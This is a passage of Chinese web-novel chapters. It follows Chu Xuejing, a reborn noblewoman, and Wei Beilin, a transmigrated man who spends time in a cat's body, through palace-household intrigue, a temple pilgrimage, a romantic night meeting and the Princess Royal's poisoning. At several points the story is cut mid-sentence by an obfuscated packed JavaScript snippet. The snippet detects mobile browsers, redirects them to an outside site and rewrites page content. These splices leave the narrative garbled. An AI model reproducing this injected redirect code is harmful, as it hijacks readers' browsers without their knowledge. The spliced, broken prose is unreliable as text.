女人原本轻抚在猫咪脊背上的手无意识攥紧,柳眉间不禁浮起两分焦躁。 “喵?” 怀里的猫似乎察觉到她的异样,主动用脑袋蹭了蹭她的手心。 【她是在担心天界寺的事么?】卫北临扬起小猫脸去看她,在暗巷的时候她让自己先走,不知道还有没有发生别的事,【原书里的天界寺……】 他有些不确定起来,【书里写的,褚雪镜设计褚玉霜陷害自己坠崖,导致萧胤玦对褚玉霜的误会更深,而褚雪镜则因马车跌崖“重伤”,在萧胤玦找到她后便昏迷不醒,旧病复发足足在床榻上躺了半月有余。】 【萧胤玦怜惜她平白受难,愧疚和自责让他更加看不清自己的心意,促成了两月后他的生辰宴上自发向皇帝请求赐婚……】 【褚雪镜要我帮她,却没说怎么帮。】巷中褚雪镜说不想嫁给太子,就没有理由“设计”自己坠崖再栽赃给褚玉霜,更何况这么多次风波,哪一次褚雪镜是真正作恶了呢?那么书中描述的所谓设计…… 【不会是萧胤玦为了英雄救美故意弄的吧?】 他越想越觉得有理,毕竟萧胤玦为了得到褚雪镜,连监视这种不入流的事情都做得出来,何谈其它? 而褚雪镜身子骨虚弱人尽皆知,他却浅薄地想要借褚雪镜的病弱博得她的芳心,代价甚至是褚雪镜的健康。 还有除夕夜宴,他们那么阴毒地诱发褚雪镜的病…… 只是为了达到自己不可告人的目的。 他忽然顿住,抬起猫瞳对上褚雪镜正巧落下的视线。 褚雪镜……又是什么时候发现身边的人皆非良人而是虎豹呢? 她在忠远侯府生活这般久,金陵却满是她愚蠢娇纵的恶言,书中的她不过比他小一岁,当她知道自己不是亲生而是抱错,心中又该是如何无措不安的呢?而她的亲生父母,在褚玉霜归府后也一次不曾找过褚雪镜,她又该多么失望难过? 而此般种种,在书中都被悄然抹去,只留下一个单薄、推动剧情而作为的工具人。 “怎么了?” 褚雪镜温和的嗓音从头顶落下,许是他想得太出神,在褚雪镜眼里就是小猫呆滞了。卫北临缓过神来,用脸继续在她手心里拱了拱,少女眉眼轻软下来,似是被小猫抚平了心烦。 她忽地将小猫抱到梨花桌上,玉指轻轻抚顺小猫脑袋上飞起的毛,然后双手捧着猫咪圆润可爱的毛茸小脸,在猫咪茫然的眼神中低眸凑近。 “金雪。” 她的声音像绵柔的羽毛,微微拂过他的背脊。 明明叫的是金雪的名字,他却恍然间萌生出难以忽视的悸动。 小猫愣愣地,“喵?” 下一瞬,少女精致白皙的容色靠近,卫北临眨了下眼,感觉额头有什么比羽毛更轻的东西落下,与之一起传来的,还有一点温热和无法散去的软香。 “好宝宝,”她似乎犹觉不够,姣好的红唇又在他眼下落下一吻,“姐姐最喜欢你了。” 咚咚咚。 好像有什么东西震得怦怦响,像擂鼓,像急雨,又像飞石,始料未及,可每一次心跳都像被记录仪录入一般那样清晰。 它跳得好快、好厉害,仿佛已经忍受不了待在人类的躯壳中,要剖开他的胸口飞去它想去的地方。 男人大脑一片空白,褚雪镜只能听到连绵不绝的、好似有人急着进家门般疯狂地敲击门一样的声音。 【她、她亲我了。】 男人慢半拍想到。 他自动忽略了自己顶着金雪身体的事实,好像被云朵簇拥着飘飘然飞了起来,【她真的亲我了!】 【亲!亲我!亲我诶!】 褚雪镜:“……” 还真是……不经逗。 金雪跟在她身边被她私下亲亲抱抱不在少数,卫北临穿来后她考虑到男人别扭的心思以及不契合的时机,故而收敛了些,只偶尔逗弄两下。 今日他倒是格外配合,总之顶着金雪的壳子,她也不吝于借此给他一些甜头。 可惜…… 褚雪镜不动声色地揉了揉耳垂。 她要的不止是心动。 远远不够。 吱呀。 屋门被推开,青冬垂着眼沉默地进来,又转身合上。 褚雪镜闻声看向门口,便见青冬低着头蔫蔫地绕过屏风走进来,一副心事重重的模样。 “怎么去了这么久?”她略有疑惑的视线投来,顺着青冬被雨打似的脑袋落在她纠结着抠动的指头上,“出什么事了?” 青冬手指搅得像乱麻,小心翼翼地抬眼看了褚雪镜一下又垂下眼,不安地抿了抿唇。 褚雪镜睫毛颤了一下,起身走到她面前,握住她的手,却不问了,探究的眼神对上青冬倏然恢复神采的眼睛。 她看着青冬无声做出口型。 有人。 褚雪镜松开她的手,行若无事般转身坐回梨花桌边。 “青冬,”她悄然移动着烛火,道,“我怜你无父无母,心软将你捡回了府,念你年纪尚小,对你多有纵容,可你要记得,我招你来做婢子,不是叫你来偷懒享福的。” 青冬谨慎地挪动着脚步,从褚雪镜手中接过那盏烛灯,嘴上回着,“对不起小姐,奴婢知错了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“春茵姐姐说,是那人支使她去做伤害小姐的事,但她犹记着从前侍奉小姐的情谊,故而冒险让奴婢转告小姐。”那道黑影晃了晃,青冬再添了把火,“奴婢怕她说的是真的,所以……” 褚雪镜幽幽叹了口气,“倒是难为她有心。” 她态度像是有所松动,奇怪道:“那为何她不来亲自告诉我?” 青冬吐了吐舌头,假模假样嗫喏着,“春茵姐姐……” “说罢。”褚雪镜道,“这里只有你我二人,直说便是。” 青冬重重叹了一声,似是十分心疼春茵的遭遇,语气那叫个凄凉婉转,“春茵姐姐几次三番警告奴婢,不让奴婢告诉小姐,可奴婢实在是不忍心。” 褚雪镜:“……” 青冬绘声绘色道:“春茵姐姐说,她从前诸多事情碍于性命之忧,有太多对不起小姐,如今只能以细微之末,若是能帮上小姐一把,她也此生无憾了!” 褚雪镜眼皮一跳。 看来她直接赶走了秋芝和春茵还是让他们不安了,这是变着法子要将春茵送回她身边啊。 褚雪镜百无聊赖地用指节撑着下颌,惋惜道:“确是我也对不住她。” 她睨了那道黑影一眼,无声嗤笑,终于在黑影焦灼地等待中一锤定音。 “明日叫她来见我罢。” 41.故人 “小姐,这支玉钗衬你的容色。”春茵将羽尾白玉钗簪进女人的发髻间,瞧着铜镜中倒映出的花容,笑吟吟的,“青冬你看是不是?” 青冬伸长脖子来看,煞有其事地点了点头,“小姐简直是天仙下凡,姝色神仙难比!” 褚雪镜抬手轻抚了抚那支玉簪,从镜中笑睨了青冬一眼。 青冬虽看起来傻愣愣的,但不至于瞧不明白眼色,褚雪镜看她的眼神分明带了两分调笑,“小姐笑我做什么?青冬说的是实话啊。” “你啊。”春茵熟练地从妆奁中取出一串水蓝宝珠链,正要戴在褚雪镜颈上,“又说小姐天仙下凡,又说小姐神仙难比,那小姐到底是不是神仙呐?” 青冬:“哦……”吃了没文化的亏。 “等等。”褚雪镜望着镜中自己颈上的珠链,忽然从手边的匣屉中取出一方正的锦盒,递给春茵,“今日戴这副吧。” 春茵微愣,恭敬地接过,盒中倒不是什么富贵繁杂的款式,只是一对白玉耳环,和一条成色不错的白玉平安扣。 但她只是怔愣一瞬,不敢多问一个字,听话顺从地将那条蓝珠链换下。 她费尽心机才逃脱浣洗坊回到褚雪镜身边,这一次她绝不能再自作聪明断了褚雪镜念着的最后旧情。 “今日远去天界寺,你们便一并跟着吧,也好有个照应。”才取出来的玉坠贴在锁骨间还有几分凉意,褚雪镜指腹轻轻从颈前的平安扣上划过,眼中闪过令人不易察觉的狡黠笑意,“院中叫夏萤看着吧,至于金雪……” 上回她不过进宫一趟,忠远侯和乔氏便已要对它下手,此次天界寺一行路远天长,难保他们不会又起心思。 “喵喵。”金雪像是知道褚雪镜在操心它一般,不知什么时候钻了过来,绕着她的腿蹭来蹭去地撒娇。 褚雪镜俯身揉了揉它的脑袋,对青冬道:“如意楼掌柜的是个爱猫之人,青冬,你将金雪送到她那去,便说是我要出远门,托她照料几日。” 从前她带着秋芝出门不放心金雪独自在家中时明面上便是寄养在如意楼掌柜那,实则是掌柜的再转送去了秦合欢手中。如今秋芝不在,交由青冬做她也放心。 青冬领命去捉金雪,金雪被揪住命运的后颈皮绵绵叫了两声,在发现褚雪镜不为所动后遂作罢,认命躺进笼子里被青冬拎走了。 春茵犹豫道:“小姐……” 褚雪镜从妆台前起身,闻声抬眼看向她。 春茵却是倏地跪了下去,不过半月多不见,她脸上已经没有当初的傲气和自信,估计在乔恩兰手中确实受了些磋磨,“奴婢绝无可能欺骗小姐,夫人她……她当真要害您啊!” 一个婢子,还是一个曾犯过错被主子罚过的婢子,竟大言不惭污蔑府中当家主母。 褚雪镜垂眸俯视着她紧攥的手指,这样冷的冬日,被罚去日日做浣洗的活,偏生先前又是主子身边得势的贴身婢女,从前削葱般的指节短短半月就已经肿胀粗糙,甚至还有无法愈合的冻疮。 春茵低垂着头,一如在乔恩兰院中那日一般静静等待着褚雪镜的审判。 她已经无路可走了,除了抓住褚雪镜这根浮木,别无他法。 “二小姐,马车已经备好了。”门外忽然传来侍女的喊声,她眼睁睁看着褚雪镜柔软的衣裙从她眼前轻巧掠过,春茵下意识挪动膝盖要膝行去追。 “拿着。” 女人不算热络的嗓音却像弦乐般动听,春茵怔住,颤巍巍地抬起眼。 光洁的瓷瓶在女人指尖莹莹泛着微光,褚雪镜神容淡淡,好像一夕之间她们又回到了初见时春茵抬眼的那次惊鸿神光。 “小、小姐。”她有些控制不住自己的声音,褚雪镜的眉眼好似被什么模糊了似的,一眨眼又不真切起来。 啪。 手背上的温热让她陡然惊醒,春茵飞速低头眨眼,试图将眼泪眨尽,不在女人面前露出这样狼狈的神色。 “这是伤药,对疮疤有奇效。”褚雪镜将瓷瓶递近,“拿着吧,这些日子受苦了。” 她将春茵留下,不过是为了看看他们还能做出什么将她引回“正道”。 春茵究竟是乔恩兰本就安排回来的棋子,还是故意放回来的饵,都不重要了。 春茵用衣袖抹了抹面上未落的泪珠,红着眼捧起双手从褚雪镜手中接过那只药瓶。 褚雪镜叫她去见她那天,她便将乔恩兰从前吩咐给她的任务和盘托出,但褚雪镜只是沉默地听着,最后虽让她留了下来,却…… 她望着褚雪镜无动于衷的容颜,有些慌乱地抿了抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178129|134153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇。 “走吧,”褚雪镜像是不曾听到她说的那些话般,怡然自若道,“母亲在等我们了。” 春茵霎时如坠冰窟。 …… 自大燕建朝以来,祈福事宜多定在元宵前后,而如此浩大的寺中祈福,则是三年一回——天子命礼部拟邀三品及以上官员携家眷共住寺中,素食清斋七日,以佑大燕国盛民安。 浩浩荡荡的马车队伍沿着山路踏踏而上,天界寺倒就在金陵中,只是随着宫里的安排走下来,到天界寺时天已将暗,山中冷清。 景仁帝同住持说了些什么无人知晓,只吩咐下来叫众人今夜住下,祈福仪式明辰卯时开始,届时自会有僧人引导。 寺中僧弥候在寺门前一一将他们领入,树影绰绰,偶有窃语,但佛门森严,又有陛下坐镇,因此并不嘈杂。 “二姐,”褚玉霜被安排在西面的厢房,与褚雪镜正好是相反的方向,“山中夜冷,二姐注意莫要着凉。” 褚雪镜脚步微顿,这一路上她和褚玉霜同乘一辆马车,却不曾说什么话,眼下她忽然开口,褚雪镜便也颔了颔首,客套道:“三妹也是。” 褚玉霜眉头动了动,褚雪镜反应这般冷淡,莫不是没听懂她的言下之意?她正要再说什么,身后却传来一声淡淡的呼唤,“玉霜,还在那做什么?” 褚玉霜心头一紧,乔恩兰就在前面几步,她若再说点别的反而弄巧成拙,于是匆匆看过褚雪镜一眼,转身往乔恩兰处行去。 这倒是与寻常的褚玉霜颇有出入。褚雪镜若有所思地收回目光,抬脚跟上前面的僧人。 褚玉霜作态慌乱,在马车上时似也有几分心神不宁,忽然说那话,是为了提醒她么? “施主,此处便是您的住处。”那僧人停在房前,侧身让出路来,“阿弥陀佛,愿施主好眠。” 褚雪镜回神,眼前的厢房漆黑寂静,只有那僧人师傅手中的灯笼有几分亮光。 她示意青冬去接下僧人递来的灯笼,谢过他后,正要推门,却听那僧人又叫住她,“施主。” 寺上清静安宁,就连风吹树叶的沙沙声也清晰可闻。 褚雪镜停了停,偏头看向他。 “许有冒犯,”那僧人说,“贫僧见施主有些眼熟,像一位故人。” 42.怀抱 寺中安排的厢房都还算宽敞,房中静静,半面都已暗灭,只有床榻和供台还燃着两根烛。 窗棂外竹影沙沙,方才在寺门与旁人分道而行,好似只有她是朝东边的寮房。 褚雪镜撩开屋中的挂纱,这间房里摆设简素,处处都很干净,并无不妥,唯独…… 不像是暂住之房。 人存在过、生活过的痕迹是很难在短时间内抹去的,女人指尖轻轻擦过帘后的供台,台上放着新鲜的供果和一尊香灰燃尽的莲花铜炉。 而明灭烛光中,供台上正挂着的,赫然是一幅无面观音图。 叩叩叩。 叩叩。 叩。 极富节奏的敲击声从身后的窗沿处传来,褚雪镜掀睫定定地看了这幅诡画最后一眼,转身离开。 轻纱薄帘撩过肩头,却平白让人汗毛抖栗,女人纤长的睫毛微颤,拾起金剪,将唯剩的两盏烛火剪熄。 咔。 棱窗被人推开,正巧是能望见月色高挂的窗景。 泠泠月雾下,窗角处倚靠着一劲衣男人,听见动静抬眸看来,怔楞半晌才道:“原来你在啊。” 男人似是有些不自在,站直了身体,凤眼被月色映照得愈发清亮,像藏了两湾温泉水,“我、我昨日便到了,无意看见那些僧人安排寮房的纸册才知道……” 紧扣在窗沿下棱的手指已然刺痛发红,眼底似乎也被月光照刺着要涌出什么酸涩的东西。 褚雪镜微垂下眼睫,嗓音像露水那般轻柔,好像瞬间便能被风卷去,“进来吧。” 她看起来…… 卫北临抿唇望着她羸弱的背影,今夜一见分明是那日在暗巷中约定下的,可她似乎有几分惧怕和慌张,还有一些他看不真切的情绪,像是要将她吞噬一般。 “褚、褚二小姐。”卫北临手压窗边利落地翻进来,轻手轻脚将窗户合上才追上女人,“我们……” “叫我名字便是。”褚雪镜在桌案边坐下,只用火折子点亮了一只小油灯,勉强够他们看得清对方的脸而已,“你我既已合作,便不必在意那些虚礼。” 卫北临就守着她点的那只小灯,坐在她身边,正要开口,眼神却不自主先被女人白皙的脖颈上佩戴的那枚平安扣吸引去了注意力,“你…喜欢吗?” 这枚平安扣是他画图找雕玉的匠人做的,自是一眼便认得。 褚雪镜有些茫然地看向他,顺着他的视线指腹摸上心口上方的那颗玉坠,顿时了然,轻轻笑了笑,“寓意很好,还要谢谢你。” 平安扣,为保佩者平安。 天界寺一行必然不会叫她安生回府,他们都心知肚明。 “你问的事我查过了,”卫北临心头蓦然软了下来,却不得不把正事放在第一位,“归仑山下山之路的崖谷,的确有一处缓冲之地,曾经是一江湖医门的旧址。” 果然,前世秦合欢同她说的没错,昔日的药医谷便是在这归仑山中隐世埋名,后来因变故不得不搬离,旧地却留在了山中。 “我能问问……”卫北临穿过那支水滴般的火焰,直直看着垂眸沉思的褚雪镜,“你为什么要查这个吗?” 他知道按照原著剧情,天界寺落崖一事已是板上钉钉。 更遑论这所谓“落崖”根本不是褚雪镜一手操纵,幕后之人身世显贵,反而愈发棘手。 可他既然已经提前知晓会发生什么,为什么不能阻止这一切发生,让她少受些苦痛呢? “卫世子,”褚雪镜似是料到他会问,抬了抬眼皮,眸光却没有落在男人脸上,而是深深望着两人面前立着的油灯,“如果知道自己在劫难逃,你会如何呢?” 卫北临视线亦落在这盏铜色烛台上,他听出来褚雪镜话中有话,可一时竟捉摸不透她真正想说的含义,只得随心答道:“那也要逃,粉身碎骨也要逃。” 褚雪镜罕见地歪了歪脑袋,指尖像好奇似的贴着烛火的焰尖,仿佛感觉不到烫,笑道:“油尽灯枯也要逃么?” “你别说傻话!”卫北临倏地抓住她的指节,一把将她的手按在桌上,免得她又去玩火,“哪里来的油尽灯枯?谁叫你这般想的?” 褚雪镜静静地看着他。 “手不难受么?”他还在说,像是恨不得穿过这点微光在她脸上瞪出一个洞,“玩火尿炕知不知道?” 褚雪镜:“……” 她下颌绷紧,忽然拼命挣扎起来。 卫北临本只是想转移她的注意力,但她恼火起来容色生动得多,他也下意识较起劲儿来,褚雪镜越是要挣开他握得越紧。 男人的掌心滚烫,几乎要将她的手背烫穿。褚雪镜摆脱不及,气喝道:“流氓!” 卫北临:? 他几乎是气笑了,反手攥住她的手腕轻而易举将她整个人都拉近,“我流氓?那褚二小姐岂不是登徒子中的登徒子?” 男人有意收着力气,除了挣不掉外,倒是不疼。褚雪镜被迫起身,小腹抵着冰冷的桌沿,却是比坐着的卫北临高出一头。 她低眸借着错位睨着男人,冷哼一声,微抬了抬下巴,“孤男寡女,推推搡搡,你不是流氓是什么?” “苍天有眼,”男人眼尾一扬,被骂流氓也不觉羞恼,反倒有两分得意和调笑,“我大半夜不睡觉专门来同你商议要事的,反被扣这么大一顶帽子,我多冤枉啊!” “况且,”不等褚雪镜再辩驳,他就着这个桎梏的姿势起身,绕过那短短两步距离,竟是毫无顾忌地直逼她面前,“前几次褚小姐为躲避眼线多次利用在下,也占了在下不少便宜呢。” 褚雪镜目不斜视地对上他的凤眸,笃定道:“形势所逼罢了。” 卫北临不用香,因此身上的气息很干净,分明是应像清溪一般,可每每同他靠近总有一种难以阻挡的侵略意味,却又不像萧胤玦那样令人厌恶,只让人觉得好似被浪潮裹住颠簸,理应排斥远离,偏生身体像渴求水分的花草,忍不住想要贴近。 “那卫某还真是求公无门了,”眼下明明他是掌握主动权的那方,却耷拉着眼像被欺负了一样,“褚二小姐好狠的心,这样糟蹋卫某的一腔真情。” 他一番话说得半真半假,得益于他先天独厚的装可怜劲儿,五分真看着也像七分。 褚雪镜偏过眼,忽然道:“是我魔怔了。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他只是沉默地、像是服输了,弯身用自己的双臂将女人紧紧拥进怀里。 “卫北临。” 他听见褚雪镜瓮声瓮气地叫他。 她很少直接叫他的大名,上一次还是元宵夜拥挤的人群里,她无意叫的。 她轻软的发丝就在鼻尖,是独属于她的软香。 男人闭了闭眼,“嗯。” “若是能逃,”她说,“你带我回北境吧。” 男人双臂倏然收紧。 他的腰很坚实,怀抱很暖和,仿佛能驱除沉疴在心底已久的疲惫。 他的手臂也很强劲,将她抱在怀中,却像是要把她揉进身体那样,深深地。 半晌,褚雪镜才听见他有些低哑的声音,“你知道你在说什么吗?” 知道啊,唬你的谎话。 褚雪镜感受着脸颊下蓬勃跳动的心脏,贪恋地蹭了蹭他的胸膛。 明明先前还失落她不信任、怀疑她要用完便弃。 傻子,转眼又心软了。 但不可否认的,他的拥抱很有安全感,她很喜欢。 可惜,还是傻傻的。 怎么她说什么就信什么呢?你明知我是骗人感情的坏女人。 你这样天真,倒叫我有几分于心不忍。 43.阿雪 究竟是什么时候褚雪镜在他眼中不再是单薄的纸片人,不再是那个所谓的“恶毒女配”呢? 卫北临说不清,却也不想去纠结。 不管原书里面怎么写、怎么评判,活生生的人就在他怀里,是非与否自有他亲眼去看。 无论如何,要她平安康健就好。 怀中的人安静地被他紧抱着,卫北临能感觉到她的指尖抓着自己后衣的触感。 他想,山寺清冷,月色如幽。 可他的心跳得好快好厉害。 好像无论和褚雪镜有见过多少面、有过多少接触,但只要和她在一起,他的心脏似乎就不再属于他自己。 就算是再如何迟钝的人,也早该知道这是为什么。 只是他太爱自欺欺人,不愿意承认罢了。 …… 男人忽然一手扣住她的肩头,另一只手擒住她的下颌,让她抬头看向自己。 “阿雪,”卫北临的指腹有些粗糙,但更多的是热烫,“我可以这样叫你吗?” 他虽是商量的语句,神色却镇定笃然,仿佛料定女人不会拒绝。 褚雪镜下意识抓住他腰后的绑带,如羽的眼睫颤了颤,轻声“嗯”了一下。 他低眸注视着她,松开她的下巴转而半个手掌几乎拢住她的脸侧,忽然问:“你是不是知道他们要做什么?” 腰后的指节无声攥紧。 起初褚雪镜让他帮忙查崖下的状况,他便有所怀疑,可又觉得如果她知道自己天界寺此行有此一难,何必以性命作儿戏还要上这寺中一趟。 但她方才那样问,心底的疑窦便再次被勾了出来。 她说“在劫难逃”,恐怕上寺祈福一事非她之愿可左右,然她亦在提前做部署,像是知道会发生什么一样。 褚雪镜却意外地没有躲避话题,从他怀中退开,坐回了桌边。 “不瞒你说,”她似乎有些难以启齿,先抬眸看了看他,很快又垂下眼,斟酌道,“若我说我是做梦知道的,你……” 预知梦? 谈起正事,哪怕心中还因为怀中骤然落空而不舍,也由不得他发傻。 卫北临抿唇坐下,听出了她的未尽之语,道:“我信。” 男人答得太快,反让她没反应过来似的,褚雪镜张了张唇,却不知说什么好,一时看着有两分懵然。 “你既然有所防备,我信不信倒是次要。”卫北临眉眼真诚,并不像敷衍迎合,追问道,“你看见自己坠崖了?” “嗯。”褚雪镜敛眸,身体因听见“坠崖”二字不受控制地颤了两下,“梦中我虽得救,却一病不起,疼痛难捱。” 她顿了顿,许久,才轻吐出两个字,“我怕。” 许是老天也看不过眼她被蒙在鼓里,男人放在膝上的手掌悄无声息握紧。 褚雪镜到底做错了什么要受这种无妄之灾?就因为那狗屁太子的喜欢? 他心有不满,戾气便流于表面,此时凤眸微狭,眸色沉沉,空中气压随之低寂。 褚雪镜若有所觉般抬眼望过来,那点郁气便如落水般散开,男人掩盖般将目光移向那盏已烧了一半的油烛,道:“不若我去请求陛下,允你先回府,好过胆战心惊。” “一计不成,只会又生二计。”褚雪镜道,“如今我在暗,他们尚不知晓我掌握了多少,可若贸然打乱他们的计划,之后会如何我也无法保证。” 这也是为什么自重生之后她几乎都是顺着前世的轨迹施为,眼下即便有卫北临相助,然他自身都还是泥菩萨,如何撬得动背后的大佛。 更何况背后的人布局多年…… 褚雪镜试图去回想前世坠崖的种种,偏生这段记忆像罩了一层迷蒙晦暗的雾,好似无论她怎么深想都于事无补。 “褚雪镜!” 她骤然回神,冷汗不知何时浸湿了她背后的衣衫。她面色还有些惶然,寻常潋滟的桃花眸里盛满的是恐惧和惊惶,眼前分明是卫北临焦急的面孔,可就算神思已然回笼,喉咙却像被人用蘸水的棉花堵住似的,发不出一个字。 她只能不住地去抓离自己最近的事物,以求不被恐慌卷离的真实感。 卫北临将她半揽着,她的情况不像普通的惊恐,倒像是…… 创伤后应激障碍。 但现在事态紧急,也无法去寻大夫。卫北临只能轻轻抚着她的肩臂,低声劝慰着,让她平复下情绪。 “阿雪,”他嗓音温缓,像在哄孩童那样,一遍又一遍不厌其烦地重复着,“没事了,你很安全,没事。” 女人的手紧紧攥着他另一只手的虎口,几乎要掐出血痕。男人感觉不到痛一般,任由她发泄,心却如坠深渊。 他记得褚雪镜每夜歇息前都会在床榻边留一盏烛火,从前他只觉得是她怕黑,但若是和现在的症状结合…… 攥着虎口的指尖微微松了力度,卫北临反握住她的柔荑,揽住她肩头的手臂将她扶正。 “卫北临,”她毫无预兆地开口,眸中仓皇褪去,取而代之的是若有似无的哀切,“我……” 卫北临轻轻擦去她面颊的泪痕,安抚道:“没事,慢慢说。” 褚雪镜垂眼看着两人交握的手,片刻后缓声道:“我九岁那年掉进冰湖,从此寒气入体,病如弱柳。” 她本不欲叫卫北临知晓那么多,但如若事事皆瞒,棋子也难以用得顺手。 更何况…… 褚雪镜悄然掩去心中忧虑,方才那般的魇症,并不是她为引卫北临怜惜而装出来的。 她不记得自己从前发病是否会这般,但她隐约察觉出自己像是在害怕什么,才会单是想到就会让她恐惧难藏,连言行举止都不受控制。 褚雪镜轻轻回握住男人有些炙热的掌心,至少他的温度能让她有片刻安宁。 她继续道:“我亦因此失去了九岁前的记忆。” “方才我欲回想梦中坠崖细节,却又好像失忆一般,怎么都想不起来。” 想不起来的事情越想越容易魔怔,可若是只去想自己失去记忆的时段…… “我觉得,我好像不只是失去了九岁前的记忆。” …… 卯时。 住寺朝臣加上家眷,约有两百余人,不过天界寺是为金陵大寺,倒不拥挤。 森严佛堂外,寺内僧人已备好祭坛,祭坛前众人皆已肃立等待,景仁帝却迟迟没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“家父忧思心切,”温烨上前,面露歉意,嘴角含笑,笑意却未达眼底,“多有得罪,贺总管见谅。” 这一家人都是他的老敌人了,贺尹假装没听出他暗里的冷讽,今日事态严重,他不欲与他们争这点胜负,“罢了,快些回去吧,若是再纠缠,陛下怪罪,咱家可担待不起了。” 温烨匆匆行礼,搀扶着母亲走了。 就连皇帝的岳丈在贺尹面前都讨不得好,遑论旁人。温夙青的离开反而让众人有些活络的心思被压了下去,很快便都回了自己的寮房。 “小姐,”身后跟着侍卫,春茵缩着脖子小声道,“这么多人就您的寮房在东边……” 昨夜人来分散她还没察觉,今日聚齐了再分开,便有了几分端倪。 褚雪镜不置可否,她知道那间房中有异,可…… 前世天界寺坠崖确是萧胤玦一行人的手笔,但她的寮房同他人并无异处。 那么单独将她安排到另一边的人,会是谁呢? 44.薨 长公主薨了。 或者说,是长公主疑似遭遇毒杀,死在了寺中安排给她的住处里。 而光天化日之下胆敢毒害皇帝亲姐的,前来祈福的两百余人皆有嫌疑。 即便是天界寺的僧人也难逃审讯。 “褚姑娘,请。” 长公主身死,天界寺难辞其咎,可人死不能复生,唯有抓出真凶方能将皇帝的怒火转移。 寺里火急火燎将戒律堂清理出来作临时审讯的地方,褚雪镜望着檐下被煦阳照得反出金光的牌匾,背后却冷意泛泛。 前世,长公主直到她死都不曾传出死讯。 戒律堂中冷清寂静,褚雪镜垂眸迈过门槛,身后的门几乎在她踏进堂中的一瞬间合闭,屋外的阳光被门挡去,撒下一片凄冷的阴影。 “褚雪镜。”皇帝身坐高台,一个接一个的单独审讯的确让他有些力不从心,精力殆尽,他支手撑着太阳穴,眯眼瞧着走上前的少女,“朕有些日子没瞧见你了。” 褚雪镜微低着头,眉目不抬,走到堂前跪下,“臣女参见陛下。” “起来吧。”景仁帝直起身,落在扶臂的手指轻敲两下,“知道朕找你来是做什么吗?” “回陛下,”褚雪镜不卑不亢,说的话却模棱两可,耐人寻味,“陛下要查杀害长公主的真凶。” 她倒是毫不避讳。 景仁帝意味不明地笑了一声,“朕要查真凶,自然找大理寺来查,找你做什么?” 褚雪镜道:“陛下挨个审过寺中人,叫臣女来亦是为判断臣女是否有毒害长公主嫌疑,便也是查凶。” 伶牙俐齿、巧舌如簧。 倒是比前世机灵不少。 景仁帝又问:“昨夜子时,你在何处?” 褚雪镜:“在自己房中。” 景仁帝:“就你一个人?” 褚雪镜不假思索道:“就臣女一人。” 那时卫北临早就走了,算不上说谎欺君。 “可有人为你作证?”景仁帝像是当真只是叫她来审讯,“你一直在房中不曾出来过?” “是。”褚雪镜镇定自若,“臣女被分配在东边寮房,周围并无别的香客为臣女作证,可若是臣女从东边的寮房出来,便是值夜的小僧也能瞧见臣女。” 东西边的寮房相隔甚远,如是跨过这般长的距离,即便是半夜也很难保证不被看见。 景仁帝沉吟两息,忽地起身从高台上走下,“你上次见到长公主是何时?” 褚雪镜微怔,长公主萧婉书是萧云瑶的亲母,但长年卧病在床,鲜少露面,今年甚至连除夕夜宴都不曾出席。 她余光瞥见近在咫尺的龙袍,神色不改,道:“似乎是前年的太后寿宴。” “太后寿宴……”景仁帝缓慢地将这四个字重复了一遍,叹息道,“朕倒是许久没听见这四个字了。” 褚雪镜背脊一僵。 她重生回来不过月余,已然忘了四年前很多事的细节。 比如,皇帝的生母梁太后在去年的寿宴不久后便病逝了。 再比如,皇帝似乎很忌讳这一点,金陵中人士连饭后闲谈也不敢提及太后半分。 “褚丫头,朕还记得你九岁落水后便一病不起,才让你如今落下了病根。”景仁帝话题转得很快,仿佛这不是一场审讯,而是话家常,“当年的事,朕也有错。” 这是……什么意思? 褚雪镜一时分不清他是试探还是交代,谨慎回道:“臣女愚钝。” “你父母亲恐怕未与你讲过,你那日坠入冰湖是为朕引开了杀兵,这么多年来,是朕亏欠于你。”皇帝提起旧事并不隐晦,坦荡道,“朕此前碍于你年幼不便直言,今时不同以往,有些事你也该知道了。” 否则一瞒就是一辈子,连如何死的都不清不楚。 景仁帝登基的前两年正是朝廷动荡之时,外戚干政皇权不稳,再者先帝死后遗旨换太子过于突然,废太子党心有不甘,故而景仁帝时常遭遇刺杀,直到嘉元三年才逐渐坐稳了这个位子。 而嘉元二年,景仁帝为拿废太子党羽乔装出金陵,在金陵边界却遭遇埋伏,碰巧遇到了带褚雪镜回金陵的忠远侯夫妇。 “朕叫你来,确实不是审你的。”景仁帝居高临下地睨了一眼少女的神色,转身回坐在太师椅上,“褚回泽已经不是当年那个褚回泽,又或者说,他从来都没变过……褚雪镜,朕知道你并非等闲之辈,即便那年你是被迫落湖,朕依旧将这份恩情记在你头上。” “朕可以允诺你一个条件,”景仁帝道,“任何条件。” …… 审讯从清晨一直持续到半夜,皇帝不停歇地面见了朝中臣子及其家眷,甚至不觉劳累地一一召见了寺中和尚。 大理寺叫来的仵作在中午便到了,长公主萧婉书的确死于剧毒,至于旁的消息一律被景仁帝封锁,长公主究竟是不是为人所害,又是为什么死去,无人知晓。 众人只盼安分度过今日,别去触皇帝的霉头。 